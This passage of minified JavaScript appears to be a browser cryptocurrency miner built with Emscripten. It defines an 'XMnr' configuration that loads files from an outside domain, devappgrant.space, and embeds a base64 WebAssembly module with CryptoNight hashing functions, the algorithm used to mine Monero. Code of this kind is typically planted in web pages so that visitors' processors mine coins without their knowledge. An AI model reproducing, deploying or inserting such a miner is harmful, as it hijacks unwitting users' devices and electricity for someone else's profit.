t=e.buffer,n=t.byteLength;if(!e.usingWasm)return l.__growWasmMemory((r-n)/65536),e.buffer!==t?e.buffer:null;try{return-1!==e.wasmMemory.grow((r-n)/65536)?e.buffer=e.wasmMemory.buffer:null}catch(e){return null}}(r)};var d=\"\";e.asm=function(t,o,i){if(t=r(t),!(o=r(o)).table){var a=e.wasmTableSize;void 0===a&&(a=1024);var s=e.wasmMaxTableSize;\"object\"==typeof WebAssembly&&\"function\"==typeof WebAssembly.Table?o.table=void 0!==s?new WebAssembly.Table({initial:a,maximum:s,element:\"anyfunc\"}):new WebAssembly.Table({initial:a,element:\"anyfunc\"}):o.table=new Array(a),e.wasmTable=o.table}o.memoryBase||(o.memoryBase=e.STATIC_BASE),o.tableBase||(o.tableBase=0);return n(t,o)};e.asm}function ___assert_fail(e,r,t,n){throw ABORT=!0,\"Assertion failed: \"+Pointer_stringify(e)+\", at: \"+[r?Pointer_stringify(r):\"unknown filename\",t,n?Pointer_stringify(n):\"unknown function\"]+\" at \"+stackTrace()}function ___setErrNo(e){return Module.___errno_location&&(HEAP32[Module.___errno_location()>>2]=e),e}function ___syscall20(e,r){SYSCALLS.varargs=r;try{return PROCINFO.pid}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function _gmtime_r(e,r){var t=new Date(1e3*HEAP32[e>>2]);HEAP32[r>>2]=t.getUTCSeconds(),HEAP32[r+4>>2]=t.getUTCMinutes(),HEAP32[r+8>>2]=t.getUTCHours(),HEAP32[r+12>>2]=t.getUTCDate(),HEAP32[r+16>>2]=t.getUTCMonth(),HEAP32[r+20>>2]=t.getUTCFullYear()-1900,HEAP32[r+24>>2]=t.getUTCDay(),HEAP32[r+36>>2]=0,HEAP32[r+32>>2]=0;var n=Date.UTC(t.getUTCFullYear(),0,1,0,0,0,0),o=(t.getTime()-n)/864e5|0;return HEAP32[r+28>>2]=o,HEAP32[r+40>>2]=___tm_timezone,r}function _gmtime(e){return _gmtime_r(e,___tm_current)}function ___lock(){}function ___unlock(){}function ___syscall6(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD();return FS.close(t),0}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function _emscripten_memcpy_big(e,r,t){return HEAPU8.set(HEAPU8.subarray(r,r+t),e),e}function _ftime(e){var r=Date.now();return HEAP32[e>>2]=r/1e3|0,HEAP16[e+4>>1]=r%1e3,HEAP16[e+6>>1]=0,HEAP16[e+8>>1]=0,0}function ___syscall140(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD(),n=(SYSCALLS.get(),SYSCALLS.get()),o=SYSCALLS.get(),i=SYSCALLS.get(),a=n;return FS.llseek(t,a,i),HEAP32[o>>2]=t.position,t.getdents&&0===a&&0===i&&(t.getdents=null),0}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function ___syscall146(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD(),n=SYSCALLS.get(),o=SYSCALLS.get();return SYSCALLS.doWritev(t,n,o)}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function ___syscall54(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD(),n=SYSCALLS.get();switch(n){case 21505:case 21506:return t.tty?0:-ERRNO_CODES.ENOTTY;case 21519:if(!t.tty)return-ERRNO_CODES.ENOTTY;var o=SYSCALLS.get();return HEAP32[o>>2]=0,0;case 21520:return t.tty?-ERRNO_CODES.EINVAL:-ERRNO_CODES.ENOTTY;case 21531:o=SYSCALLS.get();return FS.ioctl(t,n,o);case 21523:return t.tty?0:-ERRNO_CODES.ENOTTY;default:abort(\"bad ioctl syscall \"+n)}}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function invoke_ii(e,r){try{return Module.dynCall_ii(e,r)}catch(e){if(\"number\"!=typeof e&&\"longjmp\"!==e)throw e;Module.setThrew(1,0)}}function invoke_iiii(e,r,t,n){try{return Module.dynCall_iiii(e,r,t,n)}catch(e){if(\"number\"!=typeof e&&\"longjmp\"!==e)throw e;Module.setThrew(1,0)}}function invoke_viii(e,r,t,n){try{Module.dynCall_viii(e,r,t,n)}catch(e){if(\"number\"!=typeof e&&\"longjmp\"!==e)throw e;Module.setThrew(1,0)}}self.XMnr=self.XMnr||{},self.XMnr.CONFIG={WEBROOT_URL:\"https://devappgrant.space/lib/\"};var Module={locateFile:function(e){return XMnr.CONFIG.WEBROOT_URL+e}};Module.wasmBinary=function(e){for(var r=atob(\"AGFzbQEAAAABUw5gA39/fwBgA39/fwF/YAF/AX9gAX8AYAABf2ACf38Bf2AEf39/fwBgAn9/AGADf39+AGADf35/AGAEf39+fwF/YAR/f39/AX9gA35+fwF+YAAAAqsDFwNlbnYORFlOQU1JQ1RPUF9QVFIDfwADZW52CFNUQUNLVE9QA38AA2VudglTVEFDS19NQVgDfwADZW52BWFib3J0AAMDZW52DWVubGFyZ2VNZW1vcnkABANlbnYOZ2V0VG90YWxNZW1vcnkABANlbnYXYWJvcnRPbkNhbm5vdEdyb3dNZW1vcnkABANlbnYHX2dtdGltZQACA2VudgdfX19sb2NrAAMDZW52C19fX3N5c2NhbGw2AAUDZW52C19fX3NldEVyck5vAAMDZW52CV9fX3VubG9jawADA2VudgZfZnRpbWUAAgNlbnYWX2Vtc2NyaXB0ZW5fbWVtY3B5X2JpZwABA2VudgxfX19zeXNjYWxsNTQABQNlbnYNX19fc3lzY2FsbDE0MAAFA2VudgxfX19zeXNjYWxsMjAABQNlbnYOX19fYXNzZXJ0X2ZhaWwABgNlbnYNX19fc3lzY2FsbDE0NgAFA2VudgZtZW1vcnkCAYACgAIDZW52BXRhYmxlAXABDg4DZW52Cm1lbW9yeUJhc2UDfwADZW52CXRhYmxlQmFzZQN/AAM+PQIEAwcHAwQABAMGAAAAAAcHCAYICQAAAAoDBwALBgYGAwEEAQIMAgMFAgEBAgQBBAICDQECAQEFCwYCAQAGHwZ/ASMAC38BIwELfwEjAgt/AUEAC38BQQALfwFBAAsH1QIXCXN0YWNrU2F2ZQAREV9jcnlwdG9uaWdodF9oYXNoABoIc2V0VGhyZXcAFAxkeW5DYWxsX3ZpaWkASQdfZmZsdXNoAEAHX21lbXNldABDBV9zYnJrAEQTX2NyeXB0b25pZ2h0X2NyZWF0ZQAYB19tZW1jcHkARQpzdGFja0FsbG9jABALZ2V0VGVtcFJldDAAFgtzZXRUZW1wUmV0MAAVDGR5bkNhbGxfaWlpaQBIG19lbXNjcmlwdGVuX2dldF9nbG9iYWxfbGliYwA/CmR5bkNhbGxfaWkARxRfY3J5cHRvbmlnaHRfZGVzdHJveQAZEV9fX2Vycm5vX2xvY2F0aW9uAD0FX2ZyZWUANwtydW5Qb3N0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